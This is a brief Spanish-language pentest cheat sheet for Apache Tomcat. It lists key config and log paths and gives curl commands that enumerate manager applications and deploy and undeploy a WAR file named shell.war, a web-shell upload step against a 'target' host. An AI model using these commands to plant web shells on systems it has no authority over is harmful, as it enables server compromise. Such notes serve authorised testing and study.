Tomcat - Configuración y Explotación
Tomcat - Configuración y Explotación
Rutas Importantes
| Ruta |
Descripcion |
/etc/tomcat9/tomcat-users.xml |
Usuarios y roles |
/etc/tomcat9/server.xml |
Configuracion del servidor y puertos |
/etc/tomcat9/web.xml |
Configuracion global de servlets |
/etc/tomcat9/context.xml |
Configuracion de recursos JNDI |
/var/lib/tomcat9/webapps/ |
Directorio donde se suben los archivos .war |
/var/log/tomcat9/catalina.out |
Logs principales del servidor |
Enumeracion
# Listar aplicaciones
curl -s -u '<user>:<password>' 'http://target:8080/manager/text/list'
# Manager app with authentication
curl -u 'username:password' http://target.com:8080/manager/text/list
Despliegue de WAR
# Deploy WAR file
curl -u 'admin:password' \
--upload-file shell.war \
http://target.com:8080/manager/text/deploy?path=/shell
# Undeploy application
curl -u 'admin:password' \
http://target.com:8080/manager/text/undeploy?path=/shell